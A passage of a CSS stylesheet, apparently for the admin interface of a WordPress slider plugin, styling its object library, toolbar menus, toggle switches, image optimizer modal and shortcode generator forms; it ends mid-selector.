._TPRB_ .olibrary_item .avtivationicon i { font-size: 25px; margin-right: 10px; }
._TPRB_ .olibrary_item .ol_link_to_add_image { cursor:pointer; text-align: center; text-transform: uppercase; z-index: 20; width: 30px; height: 30px; line-height:30px !important; color:#006dd2; font-size:14px; font-weight:800; margin-right:5px; position: relative;  background: #fff; border-radius: 15px; display:inline-block; opacity:0; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); transition: all 0.3s; transform:translateY(20px);}
._TPRB_ .olibrary_item .ol_link_to_add_image:first-child { transition-delay: 0s; }
._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(2) { transition-delay: 0.05s; }
._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(3) { transition-delay: 0.1s; }
._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(4) { transition-delay: 0.15s; }
._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(5) { transition-delay: 0.2s; }
._TPRB_ .olibrary_item .ol_link_to_add_image:last-child { margin-right: 0px }
._TPRB_ .olibrary_item i.material-icons.ol_link_to_view,
._TPRB_ .olibrary_item i.material-icons.ol_link_to_delete { margin-left: -55px;transform:translateX(-30px); }
._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_view { margin-left: -85px; }
._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_add { margin-left: 35px; }
._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_deeper { margin-left: -25px; transform:translateY(30px) translateX(0px); }
._TPRB_ .olibrary_item .oneicon i.material-icons.ol_link_to_deeper,
._TPRB_ .olibrary_item .oneicon i.material-icons.ol_link_to_add { margin-left: -25px; transform:translateY(30px) translateX(0px);}
._TPRB_ .olibrary_item .avtivationicon {   transform:translateY(30px) translateX(-50%); }
._TPRB_ .ol_svg_preview { text-align: center; position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); }
._TPRB_ .ol_svg_preview svg { width: 100px; height: 100px; }
._TPRB_ .ol_svg_preview .olibrary_media_wrap:not(.nosvgcoloring) svg path {  fill:#000; }
._TPRB_  img.olib_png_obj { margin: auto; max-width: 100%;height: 150px;position: relative;display: block; }
._TPRB_ .oc_package { color: #2a2c2f;; background: #ffda00; }
._TPRB_ .oc_purple { color: #fff; background: #5e35b1; }
._TPRB_ .oc_pink { color: #fff; background: #f82c90; }
._TPRB_ .oc_blue { color: #fff; background: #006dd2; }
._TPRB_ .oc_orange { color: #fff; background: #ff7700; }
._TPRB_ .oc_red { color: #fff; background: #ff5858; }
._TPRB_ .oc_green { color: #fff; background: #1f9939; }
._TPRB_ .oc_cyan { color: #fff; background: #00c1d2; }
._TPRB_ .oc_gray { color: #62666a; background: transparent; border: 1px solid #414448; }
._TPRB_ .olti_green { color: #00ff00; }
._TPRB_ .olti_red { color: #ff0000; }
._TPRB_ .olti_icon.material-icons { font-size: 14px; line-height: 20px; margin-right: 5px; display: inline-block }
#objectlibrary .olibrary_media_wrap i.fonticonobj,
._TPRB_ .olibrary_media_wrap i.fonticonobj {     display: block; font-size:75px;line-height: 150px;  vertical-align: top; text-align:center; color:#000;}
._TPRB_ .olibrary_media_wrap i.fonticonobj.material-icons { width: 100%;height: 100%;line-height: 150px !important;}
._TPRB_ .olibrary_item:hover { z-index: 40; }
._TPRB_ .olibrary_item.selected { z-index: 60 }
._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_deeper,
._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_add,
._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_view,
._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_delete,
._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_delete,
._TPRB_ .olibrary_item.selected .ol_link_to_add_image,
._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_deeper,
._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_add,
._TPRB_ .olibrary_item:hover .ol_link_to_add_image,
._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_view {  opacity: 1; transform:translateX(0px) translateY(0px);}
._TPRB_ .olibrary_item:hover .avtivationicon {  opacity: 1; transform:translateX(-50%) translateY(0px);}
._TPRB_ .olibrary_item.selected .olibrary_content_title,
._TPRB_ .olibrary_item.selected .olibrary_content_info,
._TPRB_ .olibrary_item:hover .olibrary_content_title,
._TPRB_ .olibrary_item:hover .olibrary_content_info { color: #fff; border-color: rgba(255,255,255,0.25); }
._TPRB_ .olibrary_item.selected .olibrary_content_type,
._TPRB_ .olibrary_item:hover .olibrary_content_type { background: #fff !important; color: rgba(0,109,210,1);}
._TPRB_ .olibrary_item.selected .olibrary_content_wrap ,
._TPRB_ .olibrary_item:hover .olibrary_content_wrap { background: rgb(0,109,210); }
._TPRB_ .olibrary_item.selected .olibrary_media_overlay,
._TPRB_ .olibrary_item:hover .olibrary_media_overlay { opacity: 1 }
._TPRB_ .ol_template_info_wrap {background: #323438;  padding:0px; position: absolute; overflow:hidden; top:0px; left:100%; z-index: 95; box-sizing: border-box; transform-origin: 0% 0%; width:0px;height:0px; color:#777c80; font-size: 14px; line-height: 20px;  box-shadow:20px 0px 80px rgba(0,0,0,0.75); opacity:0;transform:translateX(20px);transition:opacity 0.6s, transform 0.3s, width 0s; overflow:hidden;}
._TPRB_ .to_the_left .ol_template_info_wrap { left: auto; right: 100%;transform:translateX(-20px); transform-origin: 100% 0%}
._TPRB_ .ol_template_info_wrap a,
._TPRB_ .ol_template_info_wrap a:focus,
._TPRB_ .ol_template_info_wrap a:visited { color: #b7bbc0;  outline:none;}
._TPRB_ .ol_template_info_wrap a:hover { color: #006dd2;outline: none; }
._TPRB_ .ol_template_info_wrap.left_tiw { left: auto; right: 100%;transform:translateX(-20px); }
._TPRB_ .olti_title { color: #fff; font-size: 15px; line-height: 20px; margin-bottom: 10px; font-weight: 500 }
._TPRB_ .olti_title.nmb { margin-bottom: 0px }
._TPRB_ .olibrary_item.selected .ol_template_info_wrap { display:block; opacity: 1; transform: translateX(0px); width:340px; height:auto; padding:25px; }
._TPRB_ .olibrary_item.selected .ol_template_info_wrap.videopreview { padding: 0px !important; vertical-align: top; margin: 0px; width: 374px !important;  }
#obj_library_mediapreview { width: 100%; height: auto; pointer-events: none; vertical-align: top; display: block;}
._TPRB_ .olti_btn { background: #006dd2; color: #fff; font-size: 13px; line-height: 32px; font-weight: 400; padding: 0px 20px; border-radius: 4px; display: inline-block; box-sizing: border-box; vertical-align: top; cursor: pointer;}
._TPRB_ .olti_btn i.material-icons { line-height: 32px;margin-right: 10px; font-size: 17px; vertical-align: top}
._TPRB_ .olti_btn.notinstallable { pointer-events: none; background:#3a3e44; color:#777c80;}

#ol_results .rsl_breadcrumb_wrap { display: block; width: 100%; margin-bottom: 0px; border-top: 1px solid #323438; padding-top:15px; margin-bottom: 45px }
#ol_results .rsl_breadcrumb { display:inline-block; line-height:25px; vertical-align: top; color: #797b7e; font-size: 15px; margin-right:10px; cursor: pointer; font-weight: 500}
#ol_results .rsl_breadcrumb i.material-icons { display:inline-block; line-height:25px; vertical-align: top;  font-size: 25px; margin-right: 10px;  }
#ol_results .rsl_breadcrumb_div { display: inline-block; color: #797b7e; /*#323438;*/ margin-right: 10px; font-size: 25px; line-height: 25px; vertical-align: top }

#ol_results .rsl_breadcrumb:hover { color: #fff; }
#ol_modulessorting { display: inline-block;vertical-align: top; }

._TPRB_ .olti_content .tponoffwrap  { margin-top: 0px; margin-bottom: 10px; margin-right: 10px; }

/*************************************/
/* OVERVIEW LIST OF ELEMENTS WRAPPER */
/*************************************/

#slider_folders_wrap .rs_library_element { margin-right: 0px; }

.rs_library_element { width: 267px; height: 190px; display: inline-block; margin-right: 20px;margin-bottom: 20px; cursor: pointer; box-sizing: border-box; position: relative; background:#2a2c2f; z-index:50; vertical-align: top}
.rs_library_element .rsle_footer {  position: absolute; bottom: 0px; left: 0px;  width:100%;height:40px; background:#2a2c2f;z-index: 5}
.rs_library_element.selected,
.rs_library_element:hover{ z-index: 100; }

.rs_library_element.ui-draggable-dragging { z-index: 200000 !important; position: absolute; pointer-events: none; opacity:0.80 !important;}

.rs_library_element.ui-draggable-dragging .rsle_tbar  {display: none !important;  }
.rs_library_element .link_to_slideadmin, 
.rs_library_element .image_container { width: 100%; height: 150px; position: absolute; top: 0px;left: 0px; display: block; z-index: 10; background-size:cover; background-position: center center; background-repeat: no-repeat}
.rs_library_element .image_container_underlay {  z-index: 9; background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute }
.rs_library_element .image_container_underlay .rootfolder {  background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute }
.rs_library_element .image_container_underlay .rootfolder i.material-icons { font-size: 50px;
    text-align: center;
    color: #62666a;
    display: block;
    line-height: 50px !important;
    margin-bottom: 10px; 
    width: 100%;
    margin-top: 45px;
  }

.folder_library_element .image_container_underlay { background: #2a2c2f; }

.folder_library_element:hover,
.folder_library_element.selected,
.folder_library_element.menuopen {background:#006dd2; }

.folder_library_element:hover .image_container_underlay,
.folder_library_element.selected .image_container_underlay,
.folder_library_element.menuopen .image_container_underlay {background:#006dd2; }
.folder_img_placeholder { display: inline-block; width: 126px; height: 68px; background: #323438; vertical-align: top; background-size: cover; background-position: center center; background-repeat: no-repeat }

.folder_library_element.menuopen .folder_img_placeholder,
.folder_library_element.selected .folder_img_placeholder,
.folder_library_element:hover .folder_img_placeholder { background-color: #00529d; }

.rs_library_element.folder_library_element .link_to_slideadmin { background: transparent !important; opacity: 0; width: 100%;height: 150px;top: 0px;left: 0px; margin: 0px; }
.folder_img_1,
.folder_img_3 { margin-right: 5px; margin-left: 5px; }
.folder_img_1,
.folder_img_2 { margin-bottom: 5px; margin-top:5px;}

.folder_library_element .show_rsle { opacity: 0 !important }

.rs_library_element .link_to_slides_overview,
.rs_library_element .link_to_slideadmin {text-align: center ; z-index: 20; width: 50px; height: 50px; position: absolute; top: 50px; left: 50%; margin-left: -25px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);}

.rs_library_element:hover .link_to_slides_overview,
.rs_library_element:hover .link_to_slideadmin,
.rs_library_element.selected .link_to_slideadmin,
.rs_library_element.menuopen .link_to_slideadmin { display: block; }
.rs_library_element .link_to_slides_overview i.material-icons,
.rs_library_element .link_to_slideadmin i.material-icons{ font-size: 30px; color: #006dd2; line-height: 50px !important;  }

.rs_library_element .title_container {  width: 245px; height: 40px; font-weight:500; line-height: 40px; position: absolute; bottom: 0px; left: 0px; font-size: 15px; color: #b7bbc0; padding: 0px 10px; background: transparent;box-sizing: border-box; border:none; outline:none; box-shadow: none; z-index: 2; margin:0px;}
.rs_library_element .title_container_overlay { width: 100%; height: 40px; line-height: 40px; position: absolute; bottom: 0px; left: 0px; background: transparent; z-index: 5; }

.rs_library_element.selected .title_container,
.rs_library_element.selected .rsle_folder,
.rs_library_element.menuopen .title_container,
.rs_library_element.menuopen .rsle_folder,
.rs_library_element:hover .title_container,
.rs_library_element:hover .rsle_folder { color: #fff; }

.rs_library_element .rsle_move_and_edit { position: absolute; top: 0px; left: 0px; width: 100%; height: 165px;  z-index: 15; background:transparent; cursor:move;}
.rs_library_element:hover .rsle_move_and_edit,
.rs_library_element.selected .rsle_move_and_edit,
.rs_library_element.menuopen .rsle_move_and_edit { background: #006dd2; opacity: 0.65; }

.rs_library_element.selected .rsle_footer,
.rs_library_element.menuopen .rsle_footer,
.rs_library_element:hover .rsle_footer {  position: absolute; bottom: 0px; left: 0px;  width:100%;height:40px; background:#006dd2; z-index: 5}

.show_rsle { position:absolute; color:#fff; font-size:20px; text-align: right; padding-right: 10px;  box-sizing: border-box;line-height:40px !important; width: 100%; background: transparent; height: 40px; bottom: 0px; right: 0px; z-index: 20; display: none !important; }

.rsle_folder {     position: absolute;bottom: 0px;right: 0px;width: 100%;height: 40px;color: #b7bbc0;z-index: 20;font-size: 20px;line-height: 40px;text-align: right; padding-right:10px;}


.rs_library_element.menuopen .show_rsle,
.rs_library_element:hover .show_rsle { display: block !important; }

.rs_library_element.selected .show_rsle { transform: scaleY(-1); transform-origin: "50% 50%"; width: 40px; }
.rs_library_element.selected .rsle_folder { width: 40px; }

.folder_library_element .rsle_tool.copyclipboard,
.folder_library_element .rsle_tool.exportslider, 
.folder_library_element .rsle_tool.duplicateslider, 
.folder_library_element .rsle_tool.previewslider { display: none; }

._TPRB_ .ov-pagination { display: inline-block; margin-right: 20px; }
._TPRB_ .page_button { font-size: 17px;color: #797b7e; font-weight: 500; display: inline-block; line-height: 30px; width: 30px; height: 30px; margin-top: 10px; margin-right: 5px; text-align: center; cursor: pointer}
._TPRB_ .page_button.selected,
._TPRB_ .page_button:hover { background:#006dd2; color: #fff; }


/****************************
   - END OBJECT LIBRARY - 
****************************/


.rs_close_advert { position: absolute; top:-30px;right:0px;line-height: 30px; padding: 0px 10px; color: #62666a; font-size: 14px; font-weight: 600; cursor: pointer; background:#2a2c2f; }
.rs_close_advert:hover { color: #fff;background: #006dd2; }


/*****************************
          - SELECT 2 
*****************************/


/*
	TOOLBAR WRAPS AND BUTTONS
*/
.outicon_dd_rwap,
.tool_dd_wrap { display: none; position: absolute; z-index: 10000; background: #2a2c2f; left:0px;top:50px; text-align: left; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); max-width:250px;}
.toolbar_btn { color:#b7bbc0;  font-size: 14px; line-height: 50px; padding:0px 10px; text-align: left; display: inline-block; cursor: pointer; position: relative; font-weight: 500; height: 50px; vertical-align: top} 
.toolbar_btn>i.material-icons,
.toolbar_btn.justicon { width: 30px; padding: 0px; box-sizing: border-box;text-align: center; }
.toolbar_btn .material-icons { font-size: 16px; margin-right: 10px; }
.toolbar_btn.justicon .icon_switcher .material-icons { margin-right: 0px }
.toolbar_btn .selected_placeholder .material-icons { font-size: 17px; margin-right: 0px; }
.toolbar_btn i.toptoolbaricon.material-icons { margin-right: 0px; width:30px; text-align: center; font-size: 20px}
.toolbar_btn:hover { color: #fff;}
#_layer_settings .tool_dd_wrap .add_layer,
.tool_dd_wrap .add_slide,
.tool_dd_wrap .rc-menu-item { padding-left: 20px; }
.visiblestep_main:hover,
.lockstep_main:hover,
.outicon_dd_rwap .lockstep:hover,
.outicon_dd_rwap .visiblestep:hover,
.toolbar_dd_subdrop_wrap:hover >.add_layer,
.toolbar_dd_subdrop_wrap:hover >.add_slide,
.toolbar_dd_subdrop_wrap:not(.disabled):hover >.rc-menu-item,
.tool_dd_wrap .add_layer:hover,
.tool_dd_wrap .rc-menu-item:hover { background: #3F444D; }
.tool_dd_wrap .add_layer .material-icons,
.tool_dd_wrap .rc-menu-item .material-icons,
.tool_dd_wrap .add_slide .material-icons { font-size: 17px; margin-right:10px;}
.toolbar_btn:hover .tool_dd_wrap { display: block; min-width: 100%;}
.toolbar_btn.tool_drop:hover { border-radius: 4px 4px 0px 0px }
.toolbar_dd_subdrop_wrap:hover >.add_layer,
.toolbar_dd_subdrop_wrap:not(.disabled):hover >.rc-menu-item,
.tool_dd_wrap .add_layer:hover,
.tool_dd_wrap .rc-menu-item:hover { color: #fff; opacity: 1}
.toolbar_dd_subdrop_wrap:hover >.add_slide,
.tool_dd_wrap .add_slide:hover { color: #fff; opacity: 1; background:#3f444a;}
.outicon_dd_rwap { left: -15px; background: #323438; }
.tool_dd_wrap.fittoright { left: auto; right: 0px;padding-top: 10px; }
.outicon_dd_rwap .lockstep,
.outicon_dd_rwap .visiblestep,
.tool_dd_wrap .add_layer,
.tool_dd_wrap .rc-menu-item,
.outicon_dd_rwap .visiblestep_main,
.outicon_dd_rwap .lockstep_main,
.add_slide { color:#b7bbc0; cursor: pointer; padding:0px 20px; white-space: nowrap; line-height: 30px; font-size: 13px}
.toolbar_dd_subdrop { display: none; position: absolute; left: 100%; top: 0px;background: #2a2c2f;  box-shadow: 0px 3px 10px 0px rgba(0,0,0,0.25); white-space: nowrap}
.toolbar_dd_subdrop_wrap { position: relative}
.toolbar_dd_subdrop_wrap:not(.disabled):hover .toolbar_dd_subdrop { display: block; }
.toolbar_listelement.disabled,
.rc-menu-item.disabled { opacity:0.5;  cursor: default !important; pointer-events: none}
.rc-menu-wrap {position: absolute; z-index: 999999}
.rc-align-right .toolbar_dd_subdrop {left: auto; right: 100%;}
.rc-align-right .toolbar_dd_subdrop {left: auto; right: 100%;}
.rc-align-bottom .toolbar_dd_subdrop {top: auto; bottom: 0;}

.wp-block[data-type="themepunch/revslider"] .editor-block-toolbar > .components-toolbar svg {color: white; margin-right: 0}

/* hide visual composer block */
li[data-element='rev_slider_vc'] {display: none !important}

input[data-setting="revslidertitle"] {
  pointer-events: none;
  user-select: none;          
}

/*********************
    ON OFF BUTTON
**********************/
.tponoffwrap *, .tponoffwrap {user-select:none}

.tponoffwrap,
.fake_on_button  { cursor:pointer;display:inline-block; vertical-align:top; position:relative; width: 50px;height: 20px;line-height: 20px; border-radius: 10px;  overflow: hidden; background: #006dd2; box-sizing: border-box;margin-bottom: 15px; margin-top:5px; transform:translateZ(0.001px);}

.tponoff_inner,
.fake_on_button_inner { cursor:pointer;width: 120px;height: 20px;top: 0px;left: 0px; line-height: 25px; vertical-align: top; transform: translateX(-50px); transition:0.3s;}


.fake_onff_on,
.tponoff_on   { position:absolute;top: 0px;left: 51px;width: 50px;height: 20px;background: #006dd2;padding: 0px 11px;color: #fff;font-weight: 400; box-sizing: border-box; font-size: 11px;line-height:20px; text-align: right;text-transform: uppercase}


.fake_onff_off,
.tponoff_off  { position:absolute;top: 0px;left: 0px;width: 50px;height: 20px;background: #2a2c2f; padding: 0px 8px;color: #777c80;font-weight: 400; box-sizing: border-box; font-size: 11px;line-height: 20px;text-transform: uppercase; text-align: left}

.fake_onff_on:after,
.tponoff_on:after { content:" ";width: 12px;height: 12px; position: absolute;left: 4px;top: 4px; border-radius: 50%;background: #fff; box-sizing: border-box; }

.fake_onff_off:after,
.tponoff_off:after { content:" ";width: 12px;height: 12px; position: absolute;left: 32px;top: 4px; border-radius: 50%;background: #6a6f72; box-sizing: border-box; }

.tponoffwrap input { display: none; }
.tponoffwrap.off { background: #2a2c2f; }
#rbm_addon_details  .tponoffwrap.off .tponoff_inner,
#rb_tlw  .tponoffwrap.off .tponoff_inner,
#rbm_blocksettings .tponoffwrap.off .tponoff_inner,
._TPRB_ .tponoffwrap.off .tponoff_inner,
#rs_overview  .tponoffwrap.off .tponoff_inner { transform: translateX(0px); }

.onoff_showonlystatus .tponoff_on,
.fake_on_button,
.fake_onff_on { background: #3f444a; }

.onoff_showonlystatus .tponoffwrap { background: transparent; }

.on_off_navig_wrap { position: absolute; top: 5px;right: 0px; background: transparent; width: 60px;height: 30px;  z-index: 1015;  }

.onoff_showonlystatus { pointer-events: none; display: inline-block}

#obj_addsliderasmodal {display: none; margin-left: 19px; margin-right: 0}
#obj_addsliderasmodal .tponoffwrap {margin: 0 0 0 10px; position: relative; top: 15px}
.revslider_block > span i {display: none; position: relative; top: 5px; margin-right: 7px}
.revslider_block[data-modal="true"] > span i {display: inline-block}

@media only screen and (max-width : 820px) {

  #ol_footer { padding-left: 300px; }

}

/******************+
- OPTIMIZER MODAL -
********************/

.div40 { display: block;height: 40px;width: 100%; }

.rb-modal-wrapper { display: none; }

#rbm_optimizer,
#rbm_optimizer_infos_wrap,
#rbm_optimizer_infos_wrap *,
#rbm_optimizer * {
	-webkit-font-smoothing: antialiased;  
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
}


#rbm_optimizer_infos_wrap {background:rgba(50,52,56,0.5);}

#rbm_optimizer { width: 1040px; min-width: 1040px; max-height: 660px; }
#rbm_optimizer .rbm_content { max-height: 460px; width: 100%; position: relative; overflow: hidden; position: relative; padding:0px 25px 0px; box-sizing: border-box;  background:#212226;}
#rbm_optimizer .rbm_header_content { width: 100%; position: relative; position: relative; padding:20px 25px 2px; box-sizing: border-box;  background:#212226;}

#rbm_optpanel_savebtn { background: #22a46e; border-radius: 0px;  white-space: nowrap; width: 240px; position: absolute; bottom:0px; right:0px; vertical-align: top; margin:0px; font-size:15px;}
#rbm_optimizer .rbm_footer { background: #166b48;  border-top:20px solid #212226; height:50px; width:100%; position: absolute; bottom:-70px; left:0px; vertical-align: top;box-sizing: content-box;}
#opt_summary { width: 500px; height: 50px; padding: 0px 20px; box-sizing: border-box; line-height: 50px; color: #fff; vertical-align: top; position: absolute; right:240px; bottom:0px; border-left:1px solid rgba(255,255,255,0.15);}
#optimizer_compression {width: 300px; height: 50px; padding: 10px 20px; box-sizing: border-box; line-height: 50px; color: #fff; vertical-align: top; position: absolute; left:0px; bottom:0px; border-left:1px solid rgba(255,255,255,0.15);}
#optimizer_compression a { color: #fff !important; text-decoration: none }
#optimizer_compression a i.material-icons {  color:#fff; font-size: 17px; margin-left:10px; opacity: 0.5;}
#optimizer_compression a:hover i.material-icons { opacity: 1 }
#optimizer_compression .opt_loaded_subtitle a { color: rgba(255,255,255,0.65) !important;}
#optimizer_compression .opt_loaded_subtitle a:hover { text-decoration: underline; color: #fff !important;  }

#optimizer_fullsize { display: inline-block; font-size: 20px; font-weight: 700; line-height: 30px; vertical-align: top; width: 80px; }
#optimizer_cachedsize { display: inline-block; font-size: 13px;font-weight: 400;line-height: 15px;color: rgba(255,255,255,0.65); position: absolute; left: 20px; text-align: left; top:26px;}
.optimier_footerinfo { display: inline-block; padding: 10px 0px 10px 20px; vertical-align: top;}
.opt_loaded_title { font-size: 14px; font-weight: 700; line-height: 15px; text-transform: uppercase }
.opt_loaded_subtitle { font-size: 13px; font-weight: 400; line-height: 15px; color: rgba(255,255,255,0.65); }

._TPRB_ .optim_row { display: block; border-bottom: 1px solid #323438; line-height: 40px}
._TPRB_ .optim_row.noborder { border-bottom: none; }
._TPRB_ .optim_cell { display: inline-block; line-height: 40px; vertical-align: top; box-sizing: border-box; color:#b7bbc1; font-size:13px; font-weight: 500; position: relative}
._TPRB_ .optim_title { font-size: 14px; font-weight: 700; color: #b7bbc0;text-transform: uppercase;  }
._TPRB_ .optim_subtitles { display: block; line-height: 12px; font-size: 11px; font-weight: 900; color: #797b7e;  vertical-align: top; position: absolute; top:30px; left:0px; width:410px;}
._TPRB_ .optim_subtitle { display: inline-block; vertical-align: top; }
._TPRB_ .op_c_a { width: 276px; border-right: 1px solid #323438; }
._TPRB_ .op_c_a i.material-icons { color: #777c80; font-size: 20px !important; margin-right: 38px;margin-left: 15px; line-height: 50px; }
#rbm_optpanel_savebtn i.material-icons { line-height: 50px !important}
._TPRB_ .optim_cell i.material-icons { line-height: 40px !important}
._TPRB_ .noborder .op_c_a { border-right: none; }
._TPRB_ .op_c_b { width: 120px; padding-left: 20px; }
._TPRB_ .op_c_c { width: 375px; margin-right: 40px }
._TPRB_ .op_c_d { width: 155px; }
._TPRB_ .op_c_e { width: 20px; height:40px;position: relative; }
._TPRB_ .op_c_e i.material-icons { font-size: 17px }

._TPRB_ .optim_checkbox {  cursor:pointer; color: #fff; border-radius: 50%; width: 17px; height: 17px; text-align: center; vertical-align: top; border: 2px solid #777c80;  box-sizing: border-box; display: inline-block}
._TPRB_ .optim_checkbox i.material-icons { font-size: 13px !important; line-height: 14px !important; display:none !important;}


._TPRB_ .optim_checkbox.checked { background-color: #22a46e; border-color: #22a46e; }
._TPRB_ .optim_checkbox:hover i.material-icons,
._TPRB_ .optim_checkbox.checked i.material-icons { display: block !important; }

._TPRB_ .opt_img { margin-top:4px; width: 53px; height: 32px; background-size: cover; background-repeat: no-repeat; background-position: center center; display: inline-block; margin-right: 20px; background-color: #2a2c2f; vertical-align: top; }

._TPRB_ .opt_aufruf { display: inline-block; vertical-align: top; font-size: 17px; font-weight: 700; line-height: 40px; position: absolute; right:35px; top:0px;}
._TPRB_ .opt_well { color: #22a46e; }
._TPRB_ .opt_warn { color: #ffb818; }

._TPRB_ opt_fs_grd { width:375px; height:2px; position: absolute; top:19px; left:0px; z-index: 4;
					 background: linear-gradient(to right, rgba(201,1,17,1) 0%, rgba(255,180,22,1) 31%, rgba(50,167,97,1) 34%, rgba(50,167,97,1) 43%, rgba(255,180,22,1) 51%, rgba(50,167,97,1) 59%, rgba(50,167,97,1) 68%, rgba(255,180,22,1) 70%, rgba(255,180,22,1) 82%, rgba(201,1,17,1) 100%);}
._TPRB_ ofs_mark { position: absolute; display: block; background: #797b7e; width: 2px; height: 16px; top: 12px; z-index: 2}
/*.ofs_markpoints { width: 375px; height: 16px; position: absolute;top: 12px;left: 0px; z-index: 7;}*/
._TPRB_ .ofs_markpoint { position: absolute; top: 15px; left: 0px; width: 10px; height: 10px; border: 2px solid #797b7e; background: #212226; border-radius: 50%; box-sizing: border-box; margin-left: -4px;  cursor: pointer; z-index:7;}
._TPRB_ .ofs_markpoint.original { background: #797b7e; border-color:#797b7e  }
._TPRB_ .ofs_markpoint:hover { width: 16px; height: 16px; margin-left: -7px; top: 12px; border-color:#fff;   z-index: 9;}
._TPRB_ .ofs_markpoint.selected { width: 16px; height: 16px; margin-left: -7px; top: 12px; background:#fff; border-color:#fff; z-index: 9;}

._TPRB_ .ofsmark_a { left: 0px; }
._TPRB_ .ofsmark_b { left: 125px; z-index: 6}
._TPRB_ .ofsmark_c { left: 250px; z-index: 6}
._TPRB_ .ofsmark_d { left: 375px; }

._TPRB_ .ofsmark_b:hover,
._TPRB_ .ofsmark_c:hover { background: #fff; }

._TPRB_ .ofsinfo { position: absolute; top: 0px;left: -5px;width: 12px;height: 100%; background: transparent; cursor: pointer }

#more_about_optimizer { font-size: 17px !important;  line-height: 40px; margin-left: 6px; margin-top:-1px; cursor: pointer; opacity: 0.5;}
#more_about_optimizer:hover { opacity: 1 }


._TPRB_ .decmod_maintxt { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px;  }

#decmod_maintxt { line-height: 22px; margin-bottom: 10px; }

._TPRB_ .decmod_subtxt { color: #b7bbc0; line-height: 20px; font-weight: 400; font-size: 14px; }


/* 
SHORTCODE GENERATOR STYLES
*/
.rb-basicforms .basic_action_button.onlyicon { width: 30px; padding: 0px; text-align: center }
.rb-basicforms .basic_action_button.onlyicon i { margin-right: 0px }


._TPRB_ .ale_i_title { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px; }
._TPRB_ .ale_i_content { color: #777c80; line-height: 20px; font-weight: 400; font-size: 14px; }

.rb-basicforms .miniprevimage_wrap { width: 85px;height: 85px; position: relative; display: inline-block; box-sizing: border-box; background:#3a3e44; line-height: 85px; text-align: center; }
.rb-basicforms .miniprevimage_wrap i.material-icons { color: #777c80; font-size: 45px }
.rb-basicforms .resettodefault.onlyicon { position: absolute; top: 0px;right: 0px; width: 20px;height: 20px; background:#2a2c2f; border-radius: 0px 0px 0px 5px !important }
.rb-basicforms .miniprevimage_wrap .resettodefault.onlyicon i.material-icons { font-size: 15px; line-height: 20px !important; width: 20px;    }
.rb-basicforms .miniprevimage_wrap .resettodefault.onlyicon:hover  i.material-icons { color: #fff !important; background: #006dd2; border-radius: 0px 0px 0px 5px !important}

.rb-basicforms leftbutton {float:left;margin-right: 15px}
.rb-basicforms .thumbnail_title {float:left;width: 325px}
.rb-basicforms .resettodefault.onlyicon i.material-icons { font-size: 15px;line-height: 20px !important;width: 20px }
.rb-basicforms .basic_action_button.off { display: none; }
.rb-basicforms .basic_action_button:hover, .rb-basicforms .basic_action_button.selected { color: #fff; background: #006dd2; }
.rb-basicforms .rbm_general_half { width: 49%}


.rb-basicforms input[type=text], .rb-basicforms input[type=number], .rb-basicforms textarea { box-shadow: none; outline: none; border: none; border-radius: 3px; width: 185px; padding: 0px; margin: 0px 0px 10px; }
.rb-basicforms input[type=text]:hover, .rb-basicforms input[type=number]:hover, .rb-basicforms textarea:hover {color: #fff; }


.rb-basicforms .miniprevimage_wrap.withimage i.material-icons { display: none; }
.rb-basicforms #admin_purpose_thumbnail,
.rb-basicforms #admin_purpose_thumbnail_slider { width: 85px;height: 85px;display: block; box-sizing: border-box; position: absolute; top:0px; left:0px;}

.rb-basicforms i.material-icons { line-height: inherit }

.rb-basicforms row             { line-height: 30px;display: table; margin-bottom:10px; width:100%;box-sizing: border-box; position: relative}
.rb-basicforms row.direktrow,
.rb-basicforms row.directrow { margin-bottom: 0px; }

.rb-basicforms onethird { display: table-cell; vertical-align: top; width: 33.33%; padding-right: 0px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;}
.rb-basicforms onefourth { display: table-cell; vertical-align: top; width: 25%; padding-right: 20px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
.rb-basicforms onefifth { display: table-cell; vertical-align: top; width: 20%; padding-right: 9px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
.rb-basicforms onehalf { display: table-cell; vertical-align: top; width: 50%; padding-right: 30px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}

.rb-basicforms labelhalf   { display: table-cell; vertical-align: top; width: 100px; padding-right: 15px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: right}
.rb-basicforms contenthalf { display: table-cell; vertical-align: top; width: 180px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: left}


.rb-basicforms onelabel { display: table-cell; vertical-align: top; width: 97px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px}
.rb-basicforms oneshort { display: table-cell; vertical-align: top; width: 115px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;}
.rb-basicforms onelong { display: table-cell; vertical-align: top; width: 175px; min-width: 175px; box-sizing: border-box;line-height: inherit; margin-bottom:-10px;padding-right:10px;}
.rb-basicforms onefull { display: table-cell; vertical-align: top; width: 200px; line-height: inherit; box-sizing: border-box;  }

.rb-basicforms onehalf { padding-right: 10px;min-width: 50%; }

.rb-basicforms onehalf:last-child,
